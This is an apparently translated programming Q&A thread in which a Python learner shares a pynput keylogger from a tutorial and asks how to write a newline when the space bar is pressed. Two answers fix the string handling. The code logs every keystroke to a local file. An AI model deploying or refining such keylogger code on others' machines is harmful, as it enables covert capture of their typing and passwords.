Python在按下空格键时创建新行

时间:2019-11-20 18:39:27

标签: python keylogger pynput

我正在运行Python 3.8(也在2.7上测试)。下面随附的代码是我参考视频教程创建的键盘记录程序的代码,因为我对Python相当陌生并尝试学习。我正在尝试使其在按下空格键的位置写入文件的新行,以便它向下跳转并看上去更好。我在网上尝试了一些不同的方法,但没有任何方法可以解决。如果有人可以帮助我并解释为什么这样做不起作用,将不胜感激。谢谢,祝你度过愉快的一周

    # Define imports

import pynput
from pynput.keyboard import Key, Listener


# Define variables for keylogger

count = 0
keys = []

# Function to detect key presses

def on_press(key):
    global count, keys

    keys.append(key)
    count += 1
    print(str(key))

    if count >= 1:
        write_file(str(keys))
        keys = [] 
        count = 0


# Function to write the letters to a file

def write_file(keys):
    with open("log_test.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'", "").replace("u", "").replace("]", "").replace(",", "").replace("[", "")

            if k.find("space") >= 0: # This is the code to check for space bar press
                f.write('\n') 
            else:
                k.find("Key") == -1
                f.write(k)


# Detect when a key is released

def on_release(key):
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

2 个答案:

答案 0 :(得分:2)

在检查空间时,请执行以下操作:

if k.find(" ") >= 0: # use plain space " " and not "space"
    f.write('\n')

答案 1 :(得分:2)

那是因为您的“ k”不是“空格”,而是“ s”,“ p”,“ a”,“ c”,“ e”。

这不是最优雅的方法,请尝试以下方法:

def on_press(key):
    global count, keys

    keys.append(key)
    count += 1

    if count >= 1:
        write_file(keys) # don't convert to string here
        keys = [] 
        count = 0

def write_file(key):
    with open("log_test.txt", "a") as f:
        if str(key).find("space") >= 0: # transform to string to find what you want
            f.write('\n') 
        elif str(key).find("Key") == -1: # transform to string to find what you want
            # key will come as a list, like this: ['char']
            # take the first (and only) element, and it will be like this: 'char'
            # then remove the "'" and you'll have your character
            key = str(key[0]).replace("'", '') # take only the character, then save it
            f.write(key)
相关问题